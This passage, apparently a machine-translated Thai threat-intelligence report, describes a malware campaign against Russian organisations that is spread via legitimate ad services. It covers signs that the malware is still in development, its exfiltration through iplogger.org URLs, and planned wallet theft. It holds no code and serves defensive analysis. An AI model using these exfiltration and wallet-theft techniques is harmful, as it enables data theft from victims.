มีสัญญาณอีกประการหนึ่งว่าโปรแกรมอยู่ในระหว่างการพัฒนา ไฟล์ไบนารีประกอบด้วย URL ของ iplogger.org สองรายการ และทั้งสองรายการจะถูกสอบถามเมื่อมีการกรองข้อมูล ในคำขอไปยังหนึ่งใน URL เหล่านี้ ค่าในช่องผู้อ้างอิงจะขึ้นต้นด้วย "DEV /" นอกจากนี้เรายังพบเวอร์ชันที่ไม่ได้จัดทำแพ็กเกจโดยใช้ ConfuserEx ผู้รับ URL นี้มีชื่อว่า DevFeedbackUrl จากชื่อตัวแปรสภาพแวดล้อม เราเชื่อว่าผู้ให้บริการกำลังวางแผนที่จะใช้บริการ Discord ที่ถูกต้องตามกฎหมาย และระบบสกัดกั้นเว็บเพื่อขโมยกระเป๋าเงินดิจิทัล

ข้อสรุป

แคมเปญนี้เป็นตัวอย่างของการใช้บริการโฆษณาที่ถูกกฎหมายในการโจมตีทางไซเบอร์ โครงการนี้กำหนดเป้าหมายไปที่องค์กรในรัสเซีย แต่เราจะไม่แปลกใจเลยที่จะเห็นการโจมตีดังกล่าวโดยใช้บริการที่ไม่ใช่ของรัสเซีย เพื่อหลีกเลี่ยงการประนีประนอม ผู้ใช้จะต้องมั่นใจในชื่อเสียงของแหล่งที่มาของซอฟต์แวร์ที่พวกเขาดาวน์โหลด

รายการตัวบ่งชี้การประนีประนอมและคุณลักษณะ MITER ATT&CK ทั้งหมดมีอยู่ที่ ลิงค์.

ที่มา: will.com

เพิ่มความคิดเห็น